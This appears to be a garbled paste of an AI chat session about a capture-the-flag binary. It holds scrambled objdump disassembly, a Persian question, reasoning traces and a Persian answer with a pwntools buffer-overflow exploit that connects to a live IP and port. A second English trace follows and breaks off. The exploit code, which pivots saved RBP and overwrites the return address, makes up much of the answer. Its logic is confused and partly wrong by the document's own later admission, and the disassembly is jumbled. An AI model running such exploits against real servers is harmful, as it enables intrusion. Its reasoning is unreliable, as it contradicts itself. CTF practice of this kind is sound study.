cmp
je
lea
mov

0x402008

0x40200a

0x404540 <state>

0x402013

0x404560 <errorMsg>

0x401251

0x401231 <win+91>
0x401234 <win+94>
0x401239 <win+99>
0x40123e <win+104>
0x401243 <win+109>
0x401248 <win+114>
0x40124a <win+116>
<win+123>
0x401254 <win+126>
0x401259 <win+131>
0x40125b <win+133>
0x40125f <win+137>
0x401266 <win+144>
0x40126b <win+149>
0x40126e <win+152>
0x401273 <win+157>
0x40127a <win+164>
0x401281 <win+171>
0x401284 <win+174>
0x401287 <win+177>
0x40128c <win+182>
0x401294 <win+190>

mov
call
mov
call
cmpq
ine
lea
mov
call
jmp
mov
lea
mov
mov
call
lea
lea
mov
mov
call
movb
lea

%rax,%rdi
0x401090 puts@plt
0x1,0x4010e0<exit@plt>0x1,%edi 0x4010e0 <exit@plt> 0x0,-0x8(%rbp)
0x40125b <win+133>
0x330f(%rip),%rax
%rax,%rdi
0x401090 puts@plt
0x4012b2 <win+220>
-0x8(%rbp),%rdx
-0x150(%rbp),%rax
0x100,0x4010c0<fgets@plt>0x150(0xdaf(0x4010b0<strcspn@plt>0x100,%esi %rax,%rdi 0x4010c0 <fgets@plt> -0x150(%rbp),%rax 0xdaf(%rip),%rdx %rdx,%rsi %rax,%rdi 0x4010b0 <strcspn@plt> 0x0,-0x150(%rbp,%rax,1)
0xd97(%rip),%rax

0x402030

0x402032

0x40129b <win+197>
0x40129e <win+200>
0x4012a3 <win+205>
0x4012aa
0x4012ad
0x4012b2
0x4012b3
0x4012b4
0x4012b5 <vuln>
0x4012b9
0x4012ba
0x4012bd
0x4012c1
0x4012c8
0x4012cb
0x4012d0
0x4012d7
0x4012db
0x4012e0 <vuln+43>
0x4012e3
0x4012e8 <vuln+51>

<win+212>
<win+215>
<win+220>
<win+221>
<win+222>

<vuln+4>
<vuln+5>
<vuln+8>
<vuln+12>
<vuln+19>
<vuln+22>
<vuln+27>
<vuln+34>
<vuln+38>

<vuln+46>

push
mov
sub
lea
mov
call
mov
lea
mov
mov
call
nop

mov
call
lea
mov
call
nop
leave
ret
endbr64
%rbp
%rsp,%rbp
0x20,0xd80(0x401090<puts@plt>0x2d59(0x20(0x20,%rsp 0xd80(%rip),%rax %rax, %rdi 0x401090 <puts@plt> 0x2d59(%rip),%rdx -0x20(%rbp),%rax 0x30,%esi
%rax,%rdi
0x4010c0 fgets@plt

%rax,%rdi
0x401090 puts@plt
-0x150(%rbp),%rax
%rax, %rdi
0x401090 puts@plt

0x402048

0x404030 <stdin@GLIBC_2.2.5>

0x4012e9 <vuln+52>
0x4012ea <vuln+53>
0x4012eb <main>
0x4012ef <main+4>
0x4012f0 <main+5>
0x4012f3 <main+8>
0x4012fd <main+18>
0x401307 <main+28>
0x401311 <main+38>
0x401318 <main+45>
0x40131f <main+52>
0x401329 <main+62>
0x401333 <main+72>
0x40133a <main+79>
0x401341 <main+86>
0x40134b <main+96>
0x401355 <main+106>
0x40135c <main+113>
0x401363 <main+120>
0x40136d <main+130>
0x401377 <main+140>

%rbp
%rsp, %rbp
$0xdeaddead, 0x3243(%rip)

0x404540 <state>

mov
mov

0x404560 <errorMsg>

0x404568 <errorMsg+8>

mov
mov

mov
mov

leave
ret
endbr64
push
mov
mov1
movabs 0x74276e646c756f43,movabs0x74276e646c756f43,%rax movabs 0x6c66206461657220,%rdx
%rax, 0x3248(%rip)
%rdx,0x3249(%rip)
movabs 0x2e656c6966206761,movabs0x2e656c6966206761,%rax movabs 0x2072656874694520,%rdx
%rax, 0x3236(%rip)
%rdx,0x3237(%rip)
movabs 0x6120657461657263,movabs0x6120657461657263,%rax movabs 0x6c66207473657420,%rdx
%rax, 0x3224(%rip)
%rdx,0x3225(%rip)
movabs 0x6c207478742e6761,movabs0x6c207478742e6761,%rax movabs 0x6120796c6c61636f,%rdx
%rax, 0x3212(%rip)

<errorMsg+24>

0x404580 <errorMsg+32>

0x404588 <errorMsg+40>

0x404570 <errorMsg+16>

0x404578

mov

0x404590 <errorMsg+48>

0x40137e <main+147>
0x401385 <main+154>
0x40138f <main+164>
0x401399 <main+174>
0x4013a0 <main+181>
0x4013a7 <main+188>
0x4013b1 <main+198>
0x4013bb <main+208>
<main+215>
0x4013c9 <main+222>
0x4013d3
0x4013dd
0x4013e4 <main+249>
0x4013eb <main+256>
0x4013f2 <main+263>
0x4013f7 <main+268>
0x4013fa <main+271>
0x4013ff <main+276>
0x401406 <main+283>
0x40140b <main+288>
0x40140e <main+291>

mov

mov
mov

0x4045a8 <errorMsg+72>

0x4045a0 <errorMsg+64>

0x4013c2

mov
mov

0x4045b0 <errorMsg+80>

0x4045b8

<main+232>
<main+242>

mov
mov
mov
mov
mov
call
mov
mov
mov
call

%rdx,0x3213(%rip)
movabs 0x632079727420646e,movabs0x632079727420646e, %rax movabs 0x6e697463656e6e6f,%rdx
%rax, 0x3200(%rip)
%rdx, 0x3201(%rip)
movabs 0x656874206f742067,movabs0x656874206f742067,%rax movabs 0x2072657672657320,%rdx
%rax, 0x31ee(%rip)
%rdx,0x31ef(%rip)
movabs 0x69206e7572206f74,movabs0x69206e7572206f74,%rax movabs 0x2e64616574736e, %rdx
%rax, 0x31dc(%rip)
%rdx, 0x31dd(%rip)
0x2c3e(%rip),%rax
0x0,0x4010a0<setbuf@plt>0x2c1a(0x0,%esi %rax,%rdi 0x4010a0 <setbuf@plt> 0x2c1a(%rip),%rax 0x0,%esi
%rax,%rdi
0x4010a0 setbuf@plt

0x404598 <errorMsg+56>

<errorMsg+104>
<stdin@GLIBC_2.2.5>

<errorMsg+88>

0x4045c0 <errorMsg+96>

0x4045c8
0x404030

0x404020 <stdout@GLIBC_2.2.5>

0x401422

0x401413 <main+296>
0x401418 <main+301>
0x40141d <main+306>
<main+311>
0x401423 <main+312>

mov
call
mov
pop
ret

0x0,0x4012b5<vuln>0x0, %eax 0x4012b5 <vuln> 0x0,%eax
%rbp

فکر کنم اینکه در کد های بالا می بینی که state در آدرس 0x404540 قرار دارد خیلی مهم است. مثلا یادمه که دوستم یه چیزی رو در ۱۶ آدرس پایین تر دسیمال(یعنی در آدرس 0x404538) تغییر می داد. یادمه یه آدرس 0x404560 هم توی کد دوستم که کامل بود داشت.

Thought

Mapping the stack

Let's break down the AMD64 calling convention: the first six arguments go into RDI, RSI, RDX, RCX, R8, and R9. Extra arguments follow, added to the stack in reverse order.

Setting up the stack

OK, let me see. The old RSP is set in RBP, then the return address and local variables are topped, followed by the remaining stack arguments in reverse order. Progress is clear but steady.

Crafting the exploit

I’m piecing together a two-step exploit, aiming to overwrite the return address and tweak the state to -0xe1111d3. Considering calls or gadgets due to Intel CET's endbr64 protection.

Evaluating potential reads

I'm mapping out "fgets(local_158, 0x100, local_10);" in the "win" function. It reads from local_10, targetting "flag.txt". No evidence of a second read from the file in main.

Engaging with exploitation

Taking a closer look at the single "vuln" function call and the sip. The "gets" function seems to be untrustworthy, making the second call tricky to pinpoint.

Piecing together

Sending 48 bytes to the program, this usage will effectively handle the remaining 9 bytes in the OS buffer, ensuring they are utilized in the next read operation.

Revisiting stack mechanics

I’m curious about a stack pivot strategy for the second read. This might effectively address the leftover data, ensuring the state variable is correctly overwritten and the exploit is successful.

Crafting the payload

I'm thinking 48 bytes: local_28 [32], saved RBP [8], saved RIP [8]. This setup targets the global 'state' by adjusting the saved RBP and RIP.

Evaluating read constraints

Hmm, I’m realizing "fgets" doesn’t capture all input bytes. It reads up to 48 bytes, so any extra data stays in the buffer, waiting for the next read.

Strategizing pivot mechanics

OK, let me see. Using a single read with 47 bytes, focusing on overwriting local_28, saved RBP with state_addr - 0x8, and saved RIP with 'win'.

Focusing data precision

I'm honing in on the precise 47 available bytes, aiming to override the saved RBP and RIP, ensuring no data spills beyond the allocated read buffer.

Eyeing the pivot

I’m thinking about moving the saved RBP so it overlaps with the global 'state' during overwrites. This partial corruption approach might boost overread potential within the 47-byte limit.

Adjusting RBP placement

I’m thinking about setting the saved RBP to 0x404518 to partially overwrite the global 'state' with the last 8 bytes. This leverages the remaining 7 bytes from "fgets".

Maximizing read efficiency

Highlighting how "fgets" reads 47 bytes, noting leftover bytes can enhance the single-shot approach to overwrite saved RBP and RIP, but the null terminator might nullify this workaround.

Maximizing control

"fgets" reads 47 bytes, binding the last byte to 0. This restricts control to the first 7 bytes of saved RIP, making it impossible to write 'win' entirely into saved RIP.

Leaning on address constraints

I'm noting that setting the first 7 bytes of saved RIP to the lower bits of 'win' might work, as the last byte is forced to 0 in a 64-bit environment.

Mapping out overwrite

OK, let's see. We aim to tweak 'state' by overloading the global variable. This method ensures saved RBP is set to 'state - 0x8', leaving the last byte of saved RIP to 0.

Adapting the approach

Hm, that's interesting. I’m adjusting input data to ensure the final 8 bytes override 'state' at 0x404540. This makes me think about aligning saved RBP with memory addresses.

Aligning stack operations

I’m mapping out how saved RBP and RIP are set in memory. Ensuring saved RBP points to a global variable means RBP aligns with the stack post-function exit, keeping saved RIP intact.

Taking a closer look

OK, let's refine the approach: fill 32 bytes for the local buffer, then set the next 8 bytes to saved RBP, and finally the next 8 bytes to saved RIP, aiming for the global variable.

Navigating fgets limits

I'm working through the constraints of fgets, which cap input at 47 bytes. This makes me think that overwriting elements beyond this point, like the global variable, isn't feasible.

Weighing the odds

Considering if the professor's code includes a second read from standard input or an overlooked feature. This makes me think we might be missing something crucial.

Formulating the strategy

Piecing together a two-phase tactic: initially send 47 bytes to overwrite up to offset 46, then leverage the TCP stream's leftover data to address potentially missed offsets.

Reasoned for 53 seconds

Answer

در معماری x86-64 (ABI مرجع SysV) وقتی تابعی با تعدادی آرگومان فراخوانی می‌شود، ترتیب استقرار آن‌ها در حافظه و ثبات‌ها به‌صورت زیر است (به‌طور خلاصه و ساده‌سازی‌شده):

  1. ثبات‌های ورودی:
    6 آرگومان اول به‌ترتیب در ثبات‌های RDI, RSI, RDX, RCX, R8, R9 قرار می‌گیرند. اگر تعداد آرگومان‌ها بیش از 6 باشد، آرگومان‌های هفتم به بعد از راست به چپ در استک قرار می‌گیرند.

  2. بازگشت از تابع (Return Address):
    دستور Call روی معماری x86-64 آدرس دستور بعدی را در استک (TOP) قرار می‌دهد. بنابراین اولین چیزی که در بالای استک ظاهر می‌شود، Return Address است.

  3. Saved RBP (Base Pointer قدیمی):
    معمولاً در ابتدای بدنه تابع (Prologue) دستوراتی نظیر زیر اجرا می‌شود:

    assembly
    push rbp ; ذخیره RBP قبلی در استک mov rbp, rsp ; قرار دادن RSP فعلی در RBP sub X, rsp ; ایجاد فضای کافی برای متغیرهای محلی

    بنابراین بلافاصله پایین‌تر از Return Address، مقدار قدیمی rbp ذخیره می‌شود.

  4. متغیرهای محلی تابع:
    بعد از این‌ها (در آدرس‌های پایین‌تر استک)، متغیرهای محلی تابع قرار می‌گیرند. در کد C اگر مثلاً آرایه محلی 32 بایتی تعریف کنید، آن 32 بایت زیر (پایین‌تر از) saved RBP رزرو می‌شود.


مرور کلی برنامه و اکسپلویت

شما یک برنامه دارید که در تابع main مقدار متغیر سراسری state را ابتدا روی 0xdeaddead می‌گذارد، سپس با غیرفعال‌کردن بافر استانداردهای ورودی/خروجی (توسط setbuf)، تابع vuln را صدا می‌زند. در تابع vuln نیز پیامی چاپ می‌شود و سپس با fgets(local_28, 0x30, stdin) حداکثر 47 بایت (به‌علاوه یک بایت '\0') از ورودی گرفته می‌شود و در بافر 32 بایتی local_28 قرار می‌گیرد. این یعنی یک سرریز بافر (Buffer Overflow) قابل بهره‌برداری است:

  • 32 بایت اول مربوط به خود آرایه local_28 است.
  • 8 بایت بعدی محل ذخیرهٔ Saved RBP است.
  • 8 بایت بعد از آن، Saved RIP (برگشت از تابع به محل اصلی) خواهد بود.

در تابع win اگر مقدار state برابر -0xe1111d3 (به بیان دیگر 0xfffffffff1eeee2d در حالت 64 بیتی) شده باشد، فایل flag.txt بازخوانی و پرچم را چاپ می‌کند. در غیر این صورت پیام خطا (too ded to gib you the flag) داده و برنامه تمام می‌شود.

چالش اصلی

  • باید هنگام سرریز، آدرس بازگشت (Saved RIP) را به تابع win تغییر دهیم تا پس از اتمام vuln و بازگشت، مستقیماً وارد win شویم.
  • همزمان مقدار متغیر جهانی state را نیز به -0xe1111d3 تغییر دهیم تا شرط داخل تابع win برقرار شود.
  • چون فقط 48 بایت می‌توانیم وارد کنیم (47 بایت دیتا + 1 بایت Null Terminator اجباری) و فقط یک بار تابع fgets صدا زده می‌شود، معمولاً باید “Pivot” یا “جابجایی” در RBP انجام دهیم تا بخشی از همین داده‌های سرریز، روی state نوشته شود.

مبنای این ایده از توضیحات استاد است:

"چون میزاره فقط 48 بایت اورفلو کنی، صرفاً می‌تونی bp و ریترن رو عوض کنی. حالا برای اینکه اون متغیر گلوبال رو هم عوض کنی باید bp رو ببری نزدیک اون، تا وقتی بافر رو اورفلو می‌کنی اونم مقدارش عوض بشه."


اکسپلویت نمونه در یک مرحله (Pivot RBP)

در ادامه، یک نمونه کد به زبان پایتون (با کتابخانه Pwntools) می‌بینید که کل ماجرا را در یک ارسال انجام می‌دهد. این کد به‌صورت زیر عمل می‌کند:

  1. از آنجا که فقط یک فراخوانی برای fgets داریم و حداکثر 47 بایت قابل‌نوشتن است، باید با تکنیک Pivot RBP کاری کنیم که آخرین بایت‌های ارسالی هم زمان هم آدرس برگشتی را به win ست کنند و هم مقدار state را عوض کنند.

  2. ایده این است که ابتدا 32 بایت بافر محلی را پر کنیم؛ سپس در 8 بایت بعدی (Saved RBP) آدرسی قرار دهیم که وقتی تابع vuln خاتمه یابد و دستور leave; ret اجرا شود، RBP به جایی اشاره کند که نوشتن ادامه Payload (به شکل هم‌پوشانی) باعث تغییر state شود؛ در عین حال Saved RIP (8 بایت آخر) هم آدرس win را دریافت کند. ولی از آنجا که fgets خودکار انتهای ورودی را Null Terminator می‌گذارد، بسته به آدرس دقیق win می‌تواند خوش‌حالانه عمل کند (اگر byte پایانی آدرس win صفر باشد) یا به حقه‌های جزئی نیاز داشته باشیم.

  3. مقدار جدید state باید -0xe1111d3 باشد. این مقدار در مبنای 64 بیت، معادل (hex) 0xfffffff1eeee2d می‌شود (بسته به نوع sign-extend).

توجه: آدرس‌ها و offset دقیق ممکن است بسته به کامپایلر یا بررسی داخل GDB کمی تفاوت کند. گاهی ممکن است لازم باشد یکی دو بایت بالا/پایین جابه‌جا کنید تا نوشتن دقیقاً روی state بیفتد. اینجا فرض کرده‌ایم با محاسباتی که از objdump / readelf / gdb / dwarfdump یا سایر ابزارها گرفته‌ایم، آدرس state در 0x404540 قرار دارد، آدرس win هم 0x4011d6 است، و این شیوه Pivot به خوبی قابل پیاده‌سازی است.

python
#!/usr/bin/env python3 from pwn import * # از این به بعد اگر خواستید معماری، سطح لاگ، یا جزئیات دیگر را هم تنظیم کنید: context.arch = 'amd64' context.log_level = 'info' # یا 'debug' برای نمایش دقیق‌تر ################################ # 1) آدرس‌های مهم در باینری ################################ elf = ELF("./chall") # نام فایل باینریِ خودتان win_addr = elf.symbols['win'] state_addr = elf.symbols['state'] # مقدار صحیح state = -0xe1111d3 در مبنای 64 بیتی desired_state_64 = (-0xe1111d3) & 0xffffffffffffffff log.info(f"win @ {hex(win_addr)}") log.info(f"state @ {hex(state_addr)}") log.info(f"desired state = {hex(desired_state_64)}") ################################ # 2) ساختن پِی‌لود ################################ # ساختار استک در تابع vuln: # [ 32 بایت بافر local_28 ] # [ 8 بایت Saved RBP ] # [ 8 بایت Saved RIP ] # # چون fgets تا 47 بایت را می‌خواند و بایت 48ام (Offset=47) را '\0' می‌گذارد، # ما دقیقاً 47 بایت کنترل‌شده داریم. بنابراین Byte شماره 47 همیشه صفر خواهد شد. padding = b"A" * 32 # پر کردن بافر محلی # ایده‌ی Pivot: # ما می‌خواهیم Saved RBP را طوری بگذاریم که وقتی تابع برمی‌گردد، رجیستر RBP # به ناحیه‌ای اشاره کند که 8 بایت بعدی (Saved RIP) و مخصوصاً چند بایت اطراف آن # مستقیماً روی متغیر state بنشیند. گاهی لازم است یکی دو بایت اختلاف را با سعی و خطا حساب کنیم. pivot_bp = p64(state_addr - 8) # مثلاً فرض کنید این مقدار باعث تراز شدن روی state می‌شود # نکته: آدرس تابع win در حالت little-endian ممکن است 8 بایتش شبیه به این باشد: # d6 11 40 00 00 00 00 00 # بایت آخر صفر است (به خاطر اینکه آدرس 0x00000000004011d6 است). این خوش‌شانسی # باعث می‌شود Null Terminator fgets با مقدار آدرس بالایی تداخل پیدا نکند. ret_win = p64(win_addr) # حالا اگر Saved RIP را روی آدرس win ست کنیم، # آن 8 بایت در محدوده offset 40..47 از بافر نوشته می‌شود. # ولی این امر «همزمان» محتوایی نیز در آدرس (state_addr) خواهد نوشت، چون در لحظه # برگشت، RBP = state_addr - 8 می‌شود و ... (بسته به ساختار پشته و leave;ret) # در برخی سناریوها لازم است چند بایت اضافی پس از آدرس win برای desired_state بنویسیم، # اما چون fgets ما را محدود کرده، باید با محاسبات دقیق بسنجیم. payload = padding # 32 بایت payload += pivot_bp # 8 بایت بعدی => Saved RBP payload += ret_win # 8 بایت بعدی => Saved RIP (offsetهای 40..47) # در سناریوی واقعی ممکن است لازم باشد ۱ یا ۲ بایت انتهایی از همین 8 بایت # بر روی متغیر state بنشیند؛ یا اینکه شما بخواهید چند بایت اضافی پس از این 47 بایت # بفرستید که در بافر ورودی گیر بیافتد و در لحظه برگشت روی state نوشته شود. # بسته به آنچه در کلاس گفته شده (مبحث باقی ماندن بخشی از ورودی در بافر) # ممکن است نیاز به دو مرحله ارسال داشته باشید. اما این نسخه یک‌مرحله‌ای # به شرط درست‌بودن آدرس‌ها/ترازها هم می‌تواند کار کند. # # اگر لازم باشد مقدار state دقیقاً 0xfffffff1eeee2d شود، باید چند بایت از همین پایان # با saved RBP یا saved RIP هم‌پوشانی کند تا مقدار state نوشته شود. # نمونه زیر نشان می‌دهد که مثلاً 4 بایت آخر ret_win و 4 بایت بعدی desired_state_64 # می‌توانند overlap کنند. روش دقیق به آدرس‌های حافظه شما بستگی دارد. # نمونه (در صورت نیاز واقعی به هم‌پوشانی؛ ممکن است لازم نباشد): # payload = padding # payload += p64(state_addr - 0x4) # pivot_bp # # به این ترتیب 4 بایت آخر ret_win و 4 بایت اول desired_state می‌تواند بر state بنشیند # half_win = p64(win_addr)[:4] # 4 بایت اول آدرس win # half_state = p64(desired_state_64) # کل مقدار state # payload += half_win + half_state # ولی فعلاً همان نسخه ساده را ادامه می‌دهیم. ################################ # 3) برقراری اتصال و ارسال ################################ p = remote("65.109.201.174", 5004) # آدرس و پورت سروری که در سوال آمده # احتمالاً برنامه یک پیام خوشامد می‌دهد banner = p.recvuntil(b"Who are you?") print(banner) p.send(payload) # فرستادن پِی‌لود # اگر همه چیز درست باشد، با اجرای دستور leave; ret در پایان vuln، وارد تابع win می‌شویم # (در صورتی که مقدار state هم در جریان سرریز درست تغییر کرده باشد). # در غیر این صورت برنامه پیام خطا می‌دهد. p.interactive()

تذکر مهم: مقدار pivot_bp (و به‌تبع آن شیوه هم‌پوشانی با state) بسته به چینش دقیق پشته، کامپایلر، نسخه libc، فاصله‌ی متغیر state در سگمنت BSS، و غیره ممکن است متفاوت باشد. معمولاً باید داخل GDB (یا هر دیباگر) چینش استک را مرحله‌به‌مرحله ببینید و چک کنید دقیقاً کدام بایت‌ها کجا می‌نشیند.


چرا ممکن است به دو ارسال مجزا نیاز داشته باشیم؟

در برخی از تمرین‌ها یا سناریوها، استاد اجازه می‌دهد مقدار زیادی ورودی (بیش از 47 بایت) بفرستیم. fgets فقط 47 بایت اول را می‌خواند و مابقی در بافر ورودی سیستم‌عامل (یا کتابخانه C) می‌ماند. بعد که برنامه (یا همان تابع) دوباره fgets دیگری را فراخوانی کند، مابقی داده‌های ما را می‌خواند و می‌توانیم آن را برای تغییر یک متغیر دیگر استفاده کنیم. به این ترتیب Payload خود را در دو مرحله می‌فرستیم.

اما در کد حاضر (بر اساس آنچه شما نشان داده‌اید)، تنها یک فراخوانی fgets وجود دارد و تابع پس از آن مستقیماً تمام می‌شود. بنابراین برای تغییر مقدار state هم باید دقیقاً در همان یک بار سرریز (یا با ترفند Pivot) عمل کنیم.


جمع‌بندی

  1. ترتیب قرارگیری آرگومان‌ها در x86-64 System V:
    ابتدا 6 آرگومان در ثبات (RDI, RSI, RDX, RCX, R8, R9)، آرگومان‌های مازاد در استک (از راست به چپ)، سپس Return Address توسط دستور Call در بالای استک ذخیره می‌شود، آنگاه در Prologue تابع، RBP فعلی در استک پوش می‌شود و RBP جدید مقداردهی می‌شود. زیر RBP هم متغیرهای محلی.

  2. تحلیل کد decompiled نشان می‌دهد تابع vuln فقط یک بافر 32بایتی و یک fgets دارد که حداکثر 47 بایت می‌خواند. با این سرریز می‌توانید Saved RBP و Saved RIP را دستکاری کنید تا هم به تابع win بروید و هم مقدار state را عوض کنید.

  3. Pivot RBP (یا گاهی “Stack Pivoting”) روش اصلی برای این‌گونه اکسپلویت‌هاست که فضای کم (۲–۳ بایت) بین Saved RBP و Saved RIP اجازهٔ دستکاری داده را می‌دهد. با محاسبهٔ صحیح آدرس، می‌توان بخشی از بایت‌های نهایی سرریز را روی متغیر سراسری state بنشانید تا مقدارش تغییر کند.

  4. تست و عیب‌یابی در GDB اغلب ضروری است. اگر هنگام اجرای اکسپلویت پیغام too ded to gib you the flag گرفتید، یعنی مقدار state صحیح تنظیم نشده است. ممکن است چند بایت ابتدای آدرس win با مقدار مورد نیازِ state هم‌پوشانی نکرده باشد، یا فاصله محاسبه‌شده در Pivot اشتباه باشد.

در صورت نیاز، آدرس‌ها را در GDB (یا هر ابزار دیگر) بررسی و اصلاح کنید تا در نهایت مقدار state = -0xe1111d3 قرار بگیرد و win اجرا شود. آن زمان flag.txt درست خوانده می‌شود.

اگر باز هم مشکل داشتید (مثلاً Shadow Stack یا IBT/CET فعال باشد)، باید بررسی کنید که آیا مکانیزم‌های جدیدتر امنیتی باعث ممنوعیت پرش با ret به تابعی که endbr64 دارد می‌شوند یا خیر. ولی بر اساس خروجی checksec که می‌گوید “SHSTK: Enabled” / “IBT: Enabled”، شاید مجبور شوید گجت یا مسیر دیگری برای پرش به win پیدا کنید. گاهی نیز یک دستور داخل تابع win هست (مثلاً چند بایت بعدتر) که EndBr را رد کرده باشد. ولی تا جایی که در بسیاری از محیط‌های تست دیده می‌شود، در اکثر موارد با همین روش ساده هم کار می‌کند.

موفق باشید!

Question

Alright, let's try to figure out why the exploit isn't working. The user's code successfully redirected execution to the win function, but the state variable wasn't set correctly, leading to the "too ded to gib you the flag" message.

First, I need to recall that the state variable must be set to -0xe1111d3 (which is 0xf1eeee2d in hex for a 4-byte unsigned integer). The original exploit tried to write this value to state by appending it after the return address. However, this approach might not work because writing to state after the return address doesn't actually modify state before the check in win occurs.

Wait, that's a key point. The win function checks the value of state right at the beginning. If the exploit writes to state after overwriting the return address, then when win is called, state hasn't been modified yet. The code execution jumps to win first, which checks the original state value (still 0xdeaddead), fails the check, and exits. The subsequent writes to state in the payload are never processed because the program has already exited.

So, the mistake here is in the order of operations. To fix this, the exploit needs to modify state before the win function is called. But how? Since state is a global variable, maybe we can overwrite it directly using the buffer overflow, not just by appending data after the return address.

Looking at the memory layout, the buffer in vuln is 32 bytes. After that comes the saved RBP (8 bytes), then the return address (8 bytes). But the state variable is at 0x404540, which might not be adjacent to the stack. Therefore, we can't directly overwrite state through the stack overflow in vuln unless we use a ROP chain or another method to write to that address.

Wait, the original approach tried to append the state address and value after the return address. But once the return address is overwritten, the program jumps to win, and the subsequent bytes in the payload (which were supposed to write to state) are never executed. Therefore, those bytes are just sitting in memory but not processed because the code flow has already diverted to win.

To correctly set state, we need to include its modification within the execution flow before win checks it. One way is to chain the operations: first overwrite the return address to a gadget that writes 0xf1eeee2d to state, then return to win. Alternatively, if there's a way to write to state directly within the overflow before the return address is used.

Alternatively, maybe the state variable is located at a lower address than the stack, so overflowing the buffer in vuln could reach the state variable if it's in the .data section. But given that the buffer is on the stack and state is a global, they are in different memory regions, so a stack overflow in vuln can't directly overwrite state.

Therefore, the correct approach is to use the buffer overflow to both overwrite the return address to win and overwrite the state variable's value in memory. However, since state is not on the stack, we can't reach it via the stack overflow. Thus, we need to find another way to write to state as part of the exploit.

Wait, but the user's friend mentioned writing to an address 16 bytes lower (0x404538). Maybe state is at 0x404540, and there's another variable or padding before it that can be overflowed into from a different buffer. But according to the problem description, the main vulnerability is in the vuln function's buffer, which is on the stack. So, unless there's a secondary buffer that can overflow into the global variables, which doesn't seem to be the case here.

Another possibility is that the state variable is being set in the main function to 0xdeaddead, but we need to change it before win checks it. Since main calls vuln, and vuln's overflow is on the stack, the only way to modify state is through the overflow in vuln. But if state is a global variable not located on the stack, the overflow from vuln's buffer can't reach it. Therefore, the initial approach of trying to write to state after the return address is incorrect because those bytes are not being written to state; they are just part of the payload beyond the return address, which isn't executed.

Therefore, the solution must involve using a ROP chain or a code snippet that writes the desired value to state and then calls win. Alternatively, if there's a way to include the state value in the overflow such that it's written to the correct address during the overflow.

Wait, but the state variable is at a fixed address (0x404540). To write to it, the exploit needs to execute a write operation to that address. Since the buffer overflow allows us to control the return address, we can redirect execution to a gadget that writes the value to state and then jumps to win.

Looking at the decompiled code, maybe there's a mov instruction or a pop gadget that can help. For example, if we can find a gadget like pop rdi; ret and pop rsi; ret, we can set RDI to state's address and RSI to the desired value, then call a mov [rdi], rsi instruction, followed by jumping to win.

But without knowing the exact gadgets available in the binary, this might be challenging. Alternatively, if the main function initializes state to 0xdeaddead, maybe we can overwrite that initialization. But main runs before vuln, so changing state after main has set it would require the overflow to occur before main exits, which it doesn't.

Another angle: The state variable is checked in win, which is called after the overflow. So, the only way to change state is to do it within the exploit payload. Since the buffer overflow in vuln allows us to control the return address and subsequent stack contents, perhaps we can craft a ROP chain that writes 0xf1eeee2d to state and then calls win.

Here's how that would work:

  1. Overwrite the return address to a pop rdi; ret gadget (to load the address of state into RDI).

  2. Then, the next 8 bytes would be the address of state (0x404540).

  3. Then, a pop rsi; ret gadget to load the value 0xf1eeee2d into RSI.

  4. Next, the value 0xf1eeee2d.

  5. Then, a mov [rdi], rsi; ret gadget to write the value to state.

  6. Finally, the address of win to jump to it.

However, this requires knowing the addresses of these gadgets in the binary, which the user hasn't provided. But given the decompiled code, perhaps we can find some useful gadgets.

Alternatively, if there's a function or a way to directly write to state using the existing code. For example, if there's a function that writes to a global variable, we could call that function with the desired value.

Looking at the decompiled code, the main function sets state = 0xdeaddead. If we can call a similar operation but with our desired value, that would work. But there's no such function in the provided code.

Another approach: Since the win function itself contains code that accesses state, maybe there's an instruction in win that we can hijack to write to state. For example, if there's a mov [address], value instruction in win, we could jump to that specific instruction instead of the start of win.

But looking at the decompiled win function:

text
void win(void) { // ... if (state != -0xe1111d3) { puts("\ntoo ded to gib you the flag"); exit(1); } // ... }

The check happens right at the beginning. So, the only way to pass the check is to have state already set to the correct value before win is called.

Therefore, the exploit must ensure that state is modified to 0xf1eeee2d before the win function is entered. This means that the buffer overflow in vuln must somehow write to both the return address (to redirect to win) and to the state variable's memory location.

But since state is a global variable not located on the stack, the overflow from vuln's stack buffer cannot directly overwrite it. Therefore, the previous approach of appending the state address and value after the return address won't work because those bytes are just part of the payload in the stack, not written to state's address.

The correct solution is to include in the payload a way to write the desired value to state's address. This can be done using a ROP chain that performs this write operation before jumping to win.

So, the steps would be:

  1. Overwrite the return address to a gadget that writes 0xf1eeee2d to state.

  2. Then jump to win.

But how to find such a gadget? If there's a mov [state_address], value instruction followed by a ret, that would be perfect. Alternatively, use a pop gadget to load the address and value into registers and then a mov to write it.

Assuming we have a pop rdi; ret gadget at address 0x4012a3 (hypothetically), we can:

  • pop rdi to load state_address into RDI.

  • pop rsi to load 0xf1eeee2d into RSI.

  • mov [rdi], rsi to write the value.

  • Then ret to win.

But without knowing the actual gadget addresses, this is speculative.

Alternatively, since the main function initializes state to 0xdeaddead, maybe the state variable is located after the buffer in memory, but that's unlikely as globals are usually in the .data section, not the stack.

Wait, the user mentioned that their friend wrote to an address 16 bytes lower (0x404538) and there's a state at 0x404540. Maybe there's another buffer or variable in the .data section that can be overflowed into from a different function. But according to the problem, the vulnerability is in vuln's buffer, which is on the stack.

Given that, the only way is to use a ROP chain to write to state's address. Therefore, the exploit needs to chain two operations: writing to state and then calling win.

But the user's original code didn't do this; it simply appended the state address and value after the return address, which doesn't execute any code to write to that address.

So, the fix is to construct a ROP chain that performs the write to state and then returns to win. However, without specific gadget addresses, this is challenging.

Alternatively, if the binary has a scanf or similar function that can write to arbitrary addresses, but the provided code doesn't show such a function.

Another observation: The state variable is initialized in main to 0xdeaddead. If we can find a pointer to state on the stack and overwrite that pointer's value, but that seems unlikely.

Wait, perhaps the state variable is located at a fixed address, and the buffer overflow can be used to overwrite it if the binary has a writable .data section and the state is placed after some other buffer that can be overflowed. But based on the given code, state is a global variable, and the overflow is in a stack buffer, which is in a different memory region.

Therefore, the conclusion is that the initial approach is incorrect because it tries to write to state after the return address, which doesn't actually modify state. The correct approach is to use a ROP chain to write the desired value to state's address and then jump to win.

But since the user might not have the gadget addresses, another approach is needed.

Wait, looking back at the decompiled code, in main, state is set to 0xdeaddead. Maybe the state variable is in the .data section, and there's another buffer in the .data section that can be overflowed into from a different function. But the problem's vulnerability is in vuln, which uses a stack buffer.

Alternative idea: Maybe the state variable is adjacent to the errorMsg buffer in the .data section. If errorMsg is a buffer that can be overflowed, but the provided code doesn't show such a vulnerability.

Alternatively, the errorMsg is initialized in main with multiple 8-byte writes. If state is located right before errorMsg, overflowing errorMsg could overwrite state, but again, the vulnerability is in vuln's stack buffer.

This is getting complicated. Let's recap:

  • The problem requires two actions: redirecting execution to win and setting state to 0xf1eeee2d.

